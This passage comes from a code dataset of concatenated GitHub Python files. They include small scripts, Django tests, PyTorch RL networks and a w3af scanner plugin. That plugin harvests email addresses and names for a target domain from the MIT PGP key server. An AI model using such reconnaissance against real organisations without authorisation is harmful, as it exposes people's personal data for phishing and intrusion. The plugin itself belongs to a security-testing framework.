results_df.to_csv(f\"{args.dataset}_{args.sampler}_{args.batch_size}.csv\")\n\n\n\n","repo_name":"FelixHohne/6850_project","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10999594443","text":"import json\nimport demjson\nwith open(\"Json/testjson.json\", \"r\",encoding=\"utf-8\") as f:\n txt = f.read()\n print(txt)\n # result = json.load(f)\n result = demjson.decode(txt)\n print(result)\n print(result[\"data\"][\"array\"])\n f.close()","repo_name":"dyanfee/pyLearn","sub_path":"Json/t1.py","file_name":"t1.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29448617879","text":"fh = open('words.txt','r')\ndata = fh.readlines()\ni=0\nfor line in data:\n\tcat = line.split(\" \")\n\tword = cat[2].split(\"=\")[1]\n\tpolarity = cat[5].split(\"=\")[1].rstrip(\"\\n\")\n\tif(polarity==\"positive\"):\n\t\tfx = open('poss.txt','a')\n\t\tfx.write(word + ' ')\n\telif(polarity==\"negative\"):\n\t\tfx = open('negg.txt','a')\n\t\tfx.write(word + ' ')","repo_name":"havingfun/TweetSpeaks","sub_path":"tweetsentiments/TwitterSentimentAnalysis/data/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"2075968806","text":"class Solution:\n \"\"\"\n @param grid: a list of lists of integers\n @return: An integer, minimizes the sum of all numbers along its path\n Time O(nm)\n Space O(1)\n Link: https://www.lintcode.com/problem/minimum-path-sum/description\n \"\"\"\n def minPathSum(self, grid):\n n = len(grid)\n m = len(grid[0])\n \n for row in range(n):\n for col in range(m):\n if row == 0 and col == 0:\n continue\n elif row == 0:\n grid[0][col] += grid[0][col-1]\n elif col == 0:\n grid[row][0] += grid[row-1][0]\n else:\n grid[row][col] += min(grid[row-1][col], grid[row][col-1])\n \n return grid[n-1][m-1]\n","repo_name":"Amory0709/Python","sub_path":"Data-Structure-and-Algorithm/MinimumPathSum.py","file_name":"MinimumPathSum.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39614141394","text":"from unittest.mock import patch\n\nfrom django.test import TestCase\nfrom django.urls import reverse\nfrom django.utils.html import escape\n\nfrom zds.tutorialv2.models.database import PublishableContent\nfrom zds.tutorialv2.views.editorialization import EditContentTags\nfrom zds.tutorialv2.forms import EditContentTagsForm\nfrom zds.tutorialv2.tests import TutorialTestMixin, override_for_contents\nfrom zds.tutorialv2.tests.factories import PublishableContentFactory\nfrom zds.member.tests.factories import ProfileFactory, StaffProfileFactory\nfrom zds.forum.tests.factories import TagFactory\nfrom zds.utils.forms import TagValidator\nfrom zds.utils.models import Tag\n\n\n@override_for_contents()\nclass EditContentTagsPermissionTests(TutorialTestMixin, TestCase):\n \"\"\"Test permissions and associated behaviors, such as redirections and status codes.\"\"\"\n\n def setUp(self):\n # Create users\n self.author = ProfileFactory().user\n self.staff = StaffProfileFactory().user\n self.outsider = ProfileFactory().user\n\n # Create a content\n self.content = PublishableContentFactory(author_list=[self.author])\n\n # Get information to be reused in tests\n self.form_url = reverse(\"content:edit-tags\", kwargs={\"pk\": self.content.pk})\n self.form_data = {\"tags\": \"test2, test2\"}\n self.content_data = {\"pk\": self.content.pk, \"slug\": self.content.slug}\n self.content_url = reverse(\"content:view\", kwargs=self.content_data)\n self.login_url = reverse(\"member-login\") + \"?next=\" + self.form_url\n\n def test_not_authenticated(self):\n \"\"\"Test that on form submission, unauthenticated users are redirected to the login page.\"\"\"\n self.client.logout() # ensure no user is authenticated\n response = self.client.post(self.form_url, self.form_data)\n self.assertRedirects(response, self.login_url)\n\n def test_authenticated_author(self):\n \"\"\"Test that on form submission, authors are redirected to the content page.\"\"\"\n self.client.force_login(self.author)\n response = self.client.post(self.form_url, self.form_data)\n self.assertRedirects(response, self.content_url)\n\n def test_authenticated_staff(self):\n \"\"\"Test that on form submission, staffs are redirected to the content page.\"\"\"\n self.client.force_login(self.staff)\n response = self.client.post(self.form_url, self.form_data)\n self.assertRedirects(response, self.content_url)\n\n def test_authenticated_outsider(self):\n \"\"\"Test that on form submission, unauthorized users get a 403.\"\"\"\n self.client.force_login(self.outsider)\n response = self.client.post(self.form_url, self.form_data)\n self.assertEqual(response.status_code, 403)\n\n\n@override_for_contents()\nclass EditContentTagsWorkflowTests(TutorialTestMixin, TestCase):\n \"\"\"Test the workflow of the form, such as validity errors and success messages.\"\"\"\n\n def setUp(self):\n # Create a user\n self.author = ProfileFactory()\n\n # Create a content\n self.content = PublishableContentFactory(author_list=[self.author.user])\n\n # Get information to be reused in tests\n self.form_url = reverse(\"content:edit-tags\", kwargs={\"pk\": self.content.pk})\n self.error_messages = EditContentTagsForm.declared_fields[\"tags\"].error_messages\n self.success_message = EditContentTags.success_message\n\n # Log in with an authorized user (e.g the author of the content) to perform the tests\n self.client.force_login(self.author.user)\n\n def get_test_cases(self):\n special_char_for_slug = \"?\"\n tag_length_max = Tag._meta.get_field(\"title\").max_length\n tag_too_long = \"a\" * (tag_length_max + 1)\n tag_utf8mb4 = \"😁\"\n return {\n \"empty_form\": {\"inputs\": {}, \"expected_outputs\": [self.success_message]},\n \"empty_fields\": {\"inputs\": {\"tags\": \"\"}, \"expected_outputs\": [self.success_message]},\n \"success_tags\": {\"inputs\": {\"tags\": \"test, test1\"}, \"expected_outputs\": [self.success_message]},\n \"stripped_to_empty\": {\"inputs\": {\"tags\": \" \"}, \"expected_outputs\": [self.success_message]},\n \"tags_string_too_long\": {\n \"inputs\": {\"tags\": \"a\" * (EditContentTagsForm.declared_fields[\"tags\"].max_length + 1)},\n \"expected_outputs\": [self.error_messages[\"max_length\"]],\n },\n \"invalid_slug_tag\": {\n \"inputs\": {\"tags\": special_char_for_slug},\n \"expected_outputs\": [TagValidator.error_empty_slug.format(special_char_for_slug)],\n },\n \"tag_too_long\": {\n \"inputs\": {\"tags\": tag_too_long},\n \"expected_outputs\": [TagValidator.error_tag_too_long.format(tag_too_long, tag_length_max)],\n },\n \"tag_utf8mb4\": {\n \"inputs\": {\"tags\": tag_utf8mb4},\n \"expected_outputs\": [TagValidator.error_utf8mb4.format(tag_utf8mb4)],\n },\n }\n\n def test_form_workflow(self):\n test_cases = self.get_test_cases()\n for case_name, case in test_cases.items():\n with self.subTest(msg=case_name):\n response = self.client.post(self.form_url, case[\"inputs\"], follow=True)\n for msg in case[\"expected_outputs\"]:\n self.assertContains(response, escape(msg))\n\n\n@override_for_contents()\nclass EditContentTagsFunctionalTests(TutorialTestMixin, TestCase):\n \"\"\"Test the detailed behavior of the feature, such as updates of the database or repositories.\"\"\"\n\n def setUp(self):\n # Create a user\n self.author = ProfileFactory()\n\n # Create tags\n self.tag_0 = TagFactory()\n self.tag_1 = TagFactory()\n self.tag_from_other_content = TagFactory()\n self.tags_name = [self.tag_0.title, self.tag_1.title, self.tag_from_other_content.title]\n\n # Create contents\n self.content = PublishableContentFactory(author_list=[self.author.user])\n self.other_content = PublishableContentFactory(author_list=[self.author.user])\n self.other_content.tags.add(self.tag_from_other_content)\n self.other_content.save()\n\n # Get information to be reused in tests\n self.form_url = reverse(\"content:edit-tags\", kwargs={\"pk\": self.content.pk})\n\n # Log in with an authorized user (e.g the author of the content) to perform the tests\n self.client.force_login(self.author.user)\n\n def test_form_function(self):\n \"\"\"Test many use cases for the form.\"\"\"\n test_cases = self.get_test_cases()\n for case_name, case in test_cases.items():\n with self.subTest(msg=case_name):\n with patch(\"zds.tutorialv2.signals.tags_management\") as tags_management:\n self.enforce_preconditions(case[\"preconditions\"])\n self.post_form(case[\"inputs\"])\n self.check_effects(case[\"expected_outputs\"], tags_management)\n\n def get_test_cases(self):\n \"\"\"List test cases for the license editing form.\"\"\"\n new_tag_name = \"new_tag_for_sure\"\n return {\n \"nothing\": {\n \"preconditions\": {\"all_tags\": self.tags_name, \"content_tags\": []},\n \"inputs\": {\"tags\": \"\"},\n \"expected_outputs\": {\"all_tags\": self.tags_name, \"content_tags\": [], \"call_count\": 1},\n },\n \"existing_tag\": {\n \"preconditions\": {\"all_tags\": self.tags_name, \"content_tags\": []},\n \"inputs\": {\"tags\": self.tag_1.title},\n \"expected_outputs\": {\"all_tags\": self.tags_name, \"content_tags\": [self.tag_1.title], \"call_count\": 1},\n },\n \"new_tag\": {\n \"preconditions\": {\"all_tags\": self.tags_name, \"content_tags\": []},\n \"inputs\": {\"tags\": new_tag_name},\n \"expected_outputs\": {\n \"all_tags\": self.tags_name + [new_tag_name],\n \"content_tags\": [new_tag_name],\n \"call_count\": 1,\n },\n },\n }\n\n def enforce_preconditions(self, preconditions):\n \"\"\"Prepare the test environment to match given preconditions\"\"\"\n tags = []\n for t in preconditions[\"content_tags\"]:\n tags.append(Tag.objects.get(title=t))\n self.content.tags.set(tags)\n self.assertEqual(list(self.content.tags.values_list(\"title\")), preconditions[\"content_tags\"])\n\n def post_form(self, inputs):\n \"\"\"Post the form with given inputs.\"\"\"\n form_data = {\"tags\": inputs[\"tags\"]}\n self.client.post(self.form_url, form_data)\n\n def check_effects(self, expected_outputs, tags_management):\n \"\"\"Check the effects of having sent the form.\"\"\"\n updated_content = PublishableContent.objects.get(pk=self.content.pk)\n content_tags_as_string = [tag.title for tag in updated_content.tags.all()]\n all_tags_as_string = [tag.title for tag in Tag.objects.all()]\n self.assertEqual(content_tags_as_string, expected_outputs[\"content_tags\"])\n self.assertEqual(all_tags_as_string, expected_outputs[\"all_tags\"])\n self.assertEqual(tags_management.send.call_count, expected_outputs[\"call_count\"])\n","repo_name":"zestedesavoir/zds-site","sub_path":"zds/tutorialv2/tests/tests_views/tests_editcontenttags.py","file_name":"tests_editcontenttags.py","file_ext":"py","file_size_in_byte":9263,"program_lang":"python","lang":"en","doc_type":"code","stars":262,"dataset":"github-code","pt":"61"} +{"seq_id":"6090244915","text":"from .config import *\ndef show_description():\n description = 'iKonsole v' + iversion + '. Created by MD Gaziur Rahman Noor.\\n' \\\n 'This program works as an extension for both linux and ' \\\n 'windows cli. It adds extra functionality or makes certain ' \\\n 'commands easier to use.\\n' \\\n 'This program requires python interpreter. ' \\\n 'Minimum version 3.5 is required for stability and ' \\\n 'program execution.\\n' \\\n 'This program is available at ' \\\n 'my personal github repository.\\n' \\\n 'The link is: http://github.com/mdgaziur/iKonsole\\n' \\\n 'Any problem or feedback you can send me e-mail at:\\n' \\\n 'mdgaziurrahmannoor@gmail.com'\n print(description)","repo_name":"mdgaziur/iKonsole","sub_path":"internal/descriptor.py","file_name":"descriptor.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42563416914","text":"import core.controllers.outputManager as om\n\n# options\nfrom core.data.options.option import option\nfrom core.data.options.optionList import optionList\n\nfrom core.controllers.basePlugin.baseDiscoveryPlugin import baseDiscoveryPlugin\nfrom core.controllers.w3afException import w3afException\nfrom core.controllers.w3afException import w3afRunOnce\n\nimport core.data.kb.knowledgeBase as kb\nimport core.data.kb.info as info\n\nfrom core.data.searchEngines.pks import pks as pks\nfrom core.data.parsers.urlParser import url_object\n\n\nclass fingerPKS(baseDiscoveryPlugin):\n '''\n Search MIT PKS to get a list of users for a domain.\n @author: Andres Riancho ( andres.riancho@gmail.com )\n '''\n\n def __init__(self):\n baseDiscoveryPlugin.__init__(self)\n \n # Internal variables\n self._run = True\n \n def discover(self, fuzzableRequest ):\n '''\n @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test.\n '''\n if not self._run:\n # This will remove the plugin from the discovery plugins to be runned.\n raise w3afRunOnce()\n else:\n # This plugin will only run one time. \n self._run = False\n \n pks_se = pks( self._urlOpener)\n \n root_domain = fuzzableRequest.getURL().getRootDomain()\n \n results = pks_se.search( root_domain )\n for result in results:\n i = info.info()\n i.setURL( url_object('http://pgp.mit.edu:11371/') )\n i.setPluginName(self.getName())\n i.setId( [] )\n mail = result.username +'@' + root_domain\n i.setName( mail )\n i.setDesc( 'The mail account: \"'+ mail + '\" was found in the MIT PKS server. ' )\n i['mail'] = mail\n i['user'] = result.username\n i['name'] = result.name\n i['url_list'] = ['http://pgp.mit.edu:11371/', ]\n kb.kb.append( 'mails', 'mails', i )\n # Don't save duplicated information in the KB. It's useless.\n #kb.kb.append( self, 'mails', i )\n om.out.information( i.getDesc() )\n\n return []\n \n def getOptions( self ):\n '''\n @return: A list of option objects for this plugin.\n ''' \n ol = optionList()\n return ol\n\n def setOptions( self, OptionList ):\n '''\n This method sets all the options that are configured using the user interface \n generated by the framework using the result of getOptions().\n \n @parameter OptionList: A dictionary with the options for the plugin.\n @return: No value is returned.\n ''' \n pass\n\n\n def getPluginDeps( self ):\n '''\n @return: A list with the names of the plugins that should be runned before the\n current one.\n '''\n return []\n\n def getLongDesc( self ):\n '''\n @return: A DETAILED description of the plugin functions and features.\n '''\n return '''\n This plugin finds mail addresses in PGP PKS servers.\n '''\n","repo_name":"adambaldwin2/test","sub_path":"plugins/discovery/fingerPKS.py","file_name":"fingerPKS.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39806570482","text":"import torch\nimport numpy as np\nfrom torch import nn\nimport torch.nn.functional as F\nfrom typing import Sequence, Type, Optional, List, Union\nfrom torch.distributions.normal import Normal\nfrom torch.distributions.categorical import Categorical\n\n\nclass MLP(nn.Module):\n def __init__(self, input_dim, output_dim, hidden_size, hidden_activation=nn.ReLU, output_activation=nn.Identity):\n super(MLP, self).__init__()\n sizes = [input_dim] + hidden_size + [output_dim]\n layers = []\n for j in range(len(sizes) - 2):\n layers += [nn.Linear(sizes[j], sizes[j + 1]), hidden_activation()]\n layers += [nn.Linear(sizes[-2], sizes[-1]), output_activation()]\n self.model = nn.Sequential(*layers)\n\n def forward(self, x):\n # x = torch.as_tensor(x, dtype=torch.float32)\n return self.model(x)\n\n\nclass MLPVsNet(nn.Module):\n \"\"\"\n PPO V Net\n Input s, output V(s)\n \"\"\"\n def __init__(self, obs_dim, hidden_size, hidden_activation=nn.Tanh):\n super(MLPVsNet, self).__init__()\n self.mlp = MLP(input_dim=obs_dim, output_dim=1,\n hidden_size=hidden_size, hidden_activation=hidden_activation)\n\n def forward(self, obs):\n return self.mlp(obs)\n\n\nclass MLPQsNet(nn.Module):\n \"\"\"\n DQN Q net\n Input s, output all Q(s, a)\n \"\"\"\n def __init__(self, obs_dim, act_dim, hidden_size, hidden_activation=nn.ReLU):\n super(MLPQsNet, self).__init__()\n self.mlp = MLP(input_dim=obs_dim,\n output_dim=act_dim,\n hidden_size=hidden_size,\n hidden_activation=hidden_activation)\n\n def forward(self, obs):\n return self.mlp(obs)\n\n\nclass MLPQsaNet(nn.Module):\n \"\"\"\n DDPG Critic, SAC Q net, BCQ Critic\n Input (s,a), output Q(s,a)\n \"\"\"\n def __init__(self, obs_dim, act_dim, hidden_size, hidden_activation=nn.ReLU):\n super(MLPQsaNet, self).__init__()\n self.mlp = MLP(input_dim=obs_dim + act_dim,\n output_dim=1,\n hidden_size=hidden_size,\n hidden_activation=hidden_activation)\n\n def forward(self, obs, act):\n # obs = torch.as_tensor(obs, dtype=torch.float32)\n # act = torch.as_tensor(act, dtype=torch.float32)\n x = torch.cat([obs, act], dim=1)\n q = self.mlp(x)\n return q\n\n\nclass DDPGMLPActor(nn.Module):\n \"\"\"\n DDPG Actor\n \"\"\"\n def __init__(self, obs_dim, act_dim, act_bound, hidden_size, hidden_activation=nn.ReLU):\n super(DDPGMLPActor, self).__init__()\n self.mlp = MLP(input_dim=obs_dim, output_dim=act_dim,\n hidden_size=hidden_size, hidden_activation=hidden_activation)\n self.act_bound = act_bound\n\n def forward(self, obs):\n a = torch.tanh(self.mlp(obs))\n a = self.act_bound * a\n return a\n\n\nclass MLPCategoricalActor(nn.Module):\n def __init__(self, obs_dim, act_num, hidden_size, hidden_activation=nn.Tanh):\n super(MLPCategoricalActor, self).__init__()\n self.mlp = MLP(input_dim=obs_dim, output_dim=act_num,\n hidden_size=hidden_size, hidden_activation=hidden_activation)\n\n def forward(self, obs, act=None):\n logits = self.mlp(obs)\n dist = Categorical(logits=logits)\n action = dist.sample() if act is None else act\n max_prob_action = logits.argmax(dim=1)\n log_prob = dist.log_prob(action)\n return action, log_prob, max_prob_action\n\n\nclass MLPGaussianActor(nn.Module):\n def __init__(self, obs_dim, act_dim, hidden_size, hidden_activation=nn.Tanh):\n super(MLPGaussianActor, self).__init__()\n self.mlp = MLP(input_dim=obs_dim, output_dim=hidden_size[-1], hidden_size=hidden_size[:-1],\n hidden_activation=hidden_activation, output_activation=hidden_activation)\n self.fc_mu = nn.Linear(hidden_size[-1], act_dim)\n\n log_std = -0.5 * np.ones(act_dim, dtype=np.float32)\n self.log_std = torch.nn.Parameter(torch.as_tensor(log_std))\n\n def forward(self, obs, act=None):\n x = self.mlp(obs)\n mu = self.fc_mu(x)\n\n std = torch.exp(self.log_std)\n\n dist = Normal(mu, std)\n action = dist.sample() if act is None else act\n mu_action = mu\n log_prob = dist.log_prob(action).sum(dim=-1)\n return action, log_prob, mu_action\n\n\nLOG_STD_MIN = -20\nLOG_STD_MAX = 2\n\n\nclass MLPSquashedReparamGaussianPolicy(nn.Module):\n \"\"\"\n Policy net. Used in SAC, CQL, BEAR.\n Input s, output reparameterized, squashed action and log probability of this action\n \"\"\"\n def __init__(self, obs_dim, act_dim, act_bound, hidden_size, hidden_activation=nn.ReLU, edge=3e-3):\n\n super(MLPSquashedReparamGaussianPolicy, self).__init__()\n\n self.mlp = MLP(input_dim=obs_dim, output_dim=hidden_size[-1], hidden_size=hidden_size[:-1],\n hidden_activation=hidden_activation, output_activation=hidden_activation)\n self.fc_mu = nn.Linear(hidden_size[-1], act_dim)\n self.fc_log_std = nn.Linear(hidden_size[-1], act_dim)\n\n # self.fc_mu.weight.data.uniform_(-edge, edge)\n # self.fc_log_std.bias.data.uniform_(-edge, edge)\n\n self.hidden_activation = hidden_activation\n self.act_bound = act_bound\n\n def forward(self, obs):\n x = self.mlp(obs)\n\n mu = self.fc_mu(x)\n log_std = self.fc_log_std(x).clamp(LOG_STD_MIN, LOG_STD_MAX)\n std = torch.exp(log_std)\n\n dist = Normal(mu, std)\n u = dist.rsample()\n a = torch.tanh(u)\n\n action = self.act_bound * a\n log_prob = torch.sum(dist.log_prob(u) - torch.log(1 - a.pow(2) + 1e-6), dim=1)\n mu_action = self.act_bound * torch.tanh(mu) # used in evaluation\n\n return action, log_prob, mu_action\n\n def sample_multiple_without_squash(self, obs, sample_num):\n x = self.mlp(obs)\n mu = self.fc_mu(x)\n log_std = self.fc_log_std(x).clamp(LOG_STD_MIN, LOG_STD_MAX)\n std = torch.exp(log_std)\n\n dist = Normal(mu, std)\n raw_action = dist.rsample((sample_num, ))\n\n return raw_action.transpose(0, 1) # N x B X D -> B x N x D (N:sample num, B:batch size, D:action dim)\n\n # def sample_multiple_without_squash(self, obs, num_sample, device=torch.device('cpu')):\n # x = self.mlp(obs)\n # mu = self.fc_mu(x)\n # log_std = self.fc_log_std(x).clamp(LOG_STD_MIN, LOG_STD_MAX)\n # std = torch.exp(log_std)\n # # This trick stabilizes learning (clipping gaussian to a smaller range)(Used in BEAR)\n # z = mu.unsqueeze(1) + \\\n # std.unsqueeze(1) * torch.FloatTensor(\n # np.random.normal(0, 1, size=(std.size(0), num_sample, std.size(1)))).to(device).clamp(-0.5, 0.5)\n #\n # return z\n\n\nclass ConvAtariQsNet(nn.Module):\n def __init__(self, num_frames_stack, act_dim):\n super(ConvAtariQsNet, self).__init__()\n self.c1 = nn.Conv2d(num_frames_stack, 32, kernel_size=8, stride=4)\n self.c2 = nn.Conv2d(32, 64, kernel_size=4, stride=2)\n self.c3 = nn.Conv2d(64, 64, kernel_size=3, stride=1)\n self.l1 = nn.Linear(3136, 512)\n self.l2 = nn.Linear(512, act_dim)\n\n def forward(self, obs):\n q = F.relu(self.c1(obs))\n q = F.relu(self.c2(q))\n q = F.relu(self.c3(q))\n q = F.relu(self.l1(q.reshape(-1, 3136)))\n # q = F.relu(self.l1(q.flatten(1)))\n q = self.l2(q)\n return q\n\n\nclass CVAE(nn.Module):\n \"\"\"\n Conditional Variational Auto-Encoder(CVAE) used in BCQ and PLAS\n ref: https://github.com/sfujim/BCQ/blob/4876f7e5afa9eb2981feec5daf67202514477518/continuous_BCQ/BCQ.py#L57\n \"\"\"\n\n def __init__(self,\n obs_dim,\n act_dim,\n latent_dim,\n act_bound):\n \"\"\"\n :param obs_dim: The dimension of observation\n :param act_dim: The dimension if action\n :param latent_dim: The dimension of latent in CVAE\n :param act_bound: The maximum value of the action\n \"\"\"\n super(CVAE, self).__init__()\n\n self.obs_dim = obs_dim\n self.act_dim = act_dim\n self.latent_dim = latent_dim\n self.act_bound = act_bound\n\n # encoder net\n self.e1 = nn.Linear(obs_dim + act_dim, 750)\n self.e2 = nn.Linear(750, 750)\n self.e3_mu = nn.Linear(750, latent_dim)\n self.e3_log_std = nn.Linear(750, latent_dim)\n\n # decoder net\n self.d1 = nn.Linear(obs_dim + latent_dim, 750)\n self.d2 = nn.Linear(750, 750)\n self.d3 = nn.Linear(750, act_dim)\n\n def encode(self, obs, action):\n h1 = F.relu(self.e1(torch.cat([obs, action], dim=1)))\n h2 = F.relu(self.e2(h1))\n mu = self.e3_mu(h2)\n log_std = self.e3_log_std(h2).clamp(-4, 15) # Clamped for numerical stability\n return mu, log_std\n\n def reparametrize(self, mu, log_std):\n std = torch.exp(log_std)\n eps = torch.randn_like(std) # simple from standard normal distribution\n z = mu + eps * std\n return z\n\n def decode(self, obs, z=None, z_device=torch.device('cpu')):\n # When sampling from the VAE, the latent vector is clipped to [-0.5, 0.5]\n if z is None:\n z = torch.randn((obs.shape[0], self.latent_dim)).to(z_device).clamp(-0.5, 0.5)\n h4 = F.relu(self.d1(torch.cat([obs, z], dim=1)))\n h5 = F.relu(self.d2(h4))\n recon_action = torch.tanh(self.d3(h5)) * self.act_bound\n return recon_action\n\n def decode_multiple_without_squash(self, obs, decode_num=10, z=None, z_device=torch.device('cpu')):\n \"\"\"\n decode n*b action from b obs and not squash\n \"\"\"\n if z is None:\n z = torch.randn((obs.shape[0] * decode_num, self.latent_dim)).to(z_device).clamp(-0.5, 0.5)\n obs_temp = torch.repeat_interleave(obs, decode_num, dim=0)\n h4 = F.relu(self.d1(torch.cat([obs_temp, z], dim=1)))\n h5 = F.relu(self.d2(h4))\n raw_action = self.d3(h5)\n return raw_action.reshape(obs.shape[0], decode_num, -1) # B*N x D -> B x N x D\n\n def forward(self, obs, action):\n mu, log_std = self.encode(obs, action)\n z = self.reparametrize(mu, log_std)\n # std = torch.exp(log_std)\n # dist = Normal(mu, std)\n # z = dist.rsample()\n recon_action = self.decode(obs, z)\n return recon_action, mu, log_std\n\n def loss_function(self, recon, action, mu, log_std) -> torch.Tensor:\n # recon_loss = F.mse_loss(recon, action, reduction=\"sum\") # use \"mean\" may have a bad effect on gradients\n # kl_loss = -0.5 * (1 + 2 * log_std - mu.pow(2) - torch.exp(2 * log_std))\n # kl_loss = torch.sum(kl_loss)\n recon_loss = F.mse_loss(recon, action)\n kl_loss = -0.5 * (1 + 2 * log_std - mu.pow(2) - torch.exp(2 * log_std)).mean()\n loss = recon_loss + 0.5 * kl_loss\n return loss\n\n\nclass BCQ_Perturbation(nn.Module):\n def __init__(self, obs_dim, act_dim, act_bound, hidden_size, hidden_activation=nn.ReLU,\n phi=0.05 # the Phi in perturbation model:\n ):\n super(BCQ_Perturbation, self).__init__()\n\n self.mlp = MLP(input_dim=obs_dim + act_dim,\n output_dim=act_dim,\n hidden_size=hidden_size,\n hidden_activation=hidden_activation)\n\n self.act_bound = act_bound\n self.phi = phi\n\n def forward(self, obs, action):\n x = torch.cat([obs, action], dim=1)\n a = torch.tanh(self.mlp(x))\n a = self.phi * self.act_bound * a\n return (a + action).clamp(-self.act_bound, self.act_bound)\n\n\nclass PLAS_Actor(nn.Module):\n def __init__(self, obs_dim, act_dim, latent_act_dim, act_bound, latent_act_bound=2,\n actor_hidden_size=[400, 300], ptb_hidden_size=[400, 300], hidden_activation=nn.ReLU,\n use_ptb=False, # whether use the perturbation layer\n phi=0.05 # the Phi in perturbation model:\n ):\n super(PLAS_Actor, self).__init__()\n self.actor_mlp = MLP(input_dim=obs_dim, output_dim=latent_act_dim,\n hidden_size=actor_hidden_size, hidden_activation=hidden_activation)\n if use_ptb:\n self.ptb_mlp = MLP(input_dim=obs_dim + act_dim, output_dim=act_dim,\n hidden_size=ptb_hidden_size, hidden_activation=hidden_activation)\n self.latent_act_bound = latent_act_bound\n self.act_bound = act_bound\n self.use_ptb = use_ptb\n self.phi = phi\n\n def forward(self, obs, decoder):\n a = torch.tanh(self.actor_mlp(obs))\n if self.use_ptb:\n latent_action = self.latent_act_bound * a\n\n decode_action = decoder(obs, z=latent_action)\n\n x = torch.cat([obs, decode_action], dim=1)\n a = self.phi * torch.tanh(self.ptb_mlp(x)) # different from BCQ\n ptb_action = (a + decode_action).clamp(-self.act_bound, self.act_bound)\n\n return ptb_action\n else:\n latent_action = self.act_bound * a\n decode_action = decoder(obs, z=latent_action)\n return decode_action\n\n\nclass EnsembleQNet(nn.Module):\n def __init__(self, obs_dim, act_dim, shared_hidden=[256, 256], ensemble_num=5):\n super(EnsembleQNet, self).__init__()\n self.shared_net = MLP(input_dim=obs_dim + act_dim, output_dim=ensemble_num, hidden_size=shared_hidden)\n\n def forward(self, obs, act):\n x = torch.cat([obs, act], dim=1)\n\n shared_out = self.shared_net(x)\n\n return shared_out\n\n\nif __name__ == '__main__':\n net = MLPGaussianActor(3,5, [256, 256])\n obs = torch.tensor([[1,2,10]], dtype=torch.float32)\n print(net(obs))\n\n net2 = MLPCategoricalActor(3, 5, [256, 256])\n print(net2(obs))","repo_name":"dragon-wang/RL_Algorithms","sub_path":"common/networks.py","file_name":"networks.py","file_ext":"py","file_size_in_byte":13861,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"61"} +{"seq_id":"9253090559","text":"from Transformer.Transformer import TranslatorTransformer\nimport torch\nimport torch.nn as nn\n\nimport torch\nfrom AttentionModel.AttentionModel import AttentionModel\n\nd_m = 16\nd_c = 16\nd_k = 16\nh = 4\nN = 2\nd_ff = 24\nn_nodes = 20\nembeder = 3\nd_v = 16\nc = 10.\nhead_split = True\ndropout = 0.1\nuse_graph_emb = True\nbatches = None # None defined, be flexible. Really, this is useless!\n\nam = AttentionModel(16, 16, 16, 4, 2, 24, 20, 3, 16, 10, True, 0.1)\ngraph = torch.rand(7, 10, 3)\nctxt = torch.rand(7, 1, 16)\nmask_emb_graph = torch.triu(torch.ones(7, 10), diagonal=1).unsqueeze(1).bool()\nmask_dec_graph = torch.zeros(7, 1, 10).bool()\nmask_dec_graph[:,:,0] = True\na, b = am(graph, ctxt, mask_emb_graph, mask_dec_graph)\n\nprint(\"Inference completed\")","repo_name":"aguilarjose11/PytorchAMD","sub_path":"layer_testing.py","file_name":"layer_testing.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10228024437","text":"import os\nimport json\n\n\nfiles = os.listdir(\"./\")\nfor fname in files[3:]:\n if fname.split(\".\")[-1] == 'json':\n with open(fname, \"r\") as read_file:\n dic = json.load(read_file)\n json_name = dic['imagePath']\n fname = fname.split(\".\")[0]\n json_name = json_name.split(\".\")[0]\n #print(f'actual: {fname} \\t json:{json_name}')\n \n if json_name != fname:\n print(f'actual: {fname} \\t json:{json_name}')","repo_name":"AbirKhan96/MaskR-CNN-InstanceSegmentation","sub_path":"src/pipeline/utils/json/checknames.py","file_name":"checknames.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"27109487971","text":"import serial\r\nfrom time import sleep\r\n\r\nusb_port = 'COM15'\r\nser = serial.Serial(usb_port, 9600)\r\ncounter = 32\r\n\r\nwhile True:\r\n\tcounter += 1\r\n\tser.write(counter)\r\n\tprint(\"%i\\n\" % counter)\r\n\tprint(ser.readline())\r\n\tsleep(.1)\r\n\tif counter == 255:\r\n\t\tcounter = 32","repo_name":"jagilley/3throw","sub_path":"GNDstation.py","file_name":"GNDstation.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72565305794","text":"from typing import List\n\nclass Solution:\n def jump(self, nums: List[int]) -> int:\n \n def dp( i ):\n \n ## Base case:\n if i == 0:\n # coverage, last_jump index, count of jump\n return nums[0], nums[0], 1\n \n ## General cases\n prev_coverage, prev_jump_idx, prev_jumps = dp(i-1)\n \n cur_coverage = max(prev_coverage, i + nums[i] )\n cur_jump_idx = prev_jump_idx\n jumps = prev_jumps\n \n if i == prev_jump_idx:\n cur_jump_idx = cur_coverage\n jumps += 1\n \n return cur_coverage, cur_jump_idx, jumps\n \n # -------------------------------------------------\n if len(nums) == 1:\n # Quick response on corner case when array size = 1\n return 0\n \n # third return value is the counter of jumps\n last_station = len(nums)-1\n return dp( last_station-1 )[2]\n \n\n\nimport unittest\n\nclass Testing( unittest.TestCase ):\n\n def test_case_1(self):\n\n result = Solution().jump( nums=[2,3,1,1,4])\n self.assertEqual(result, 2)\n return\n\n \n def 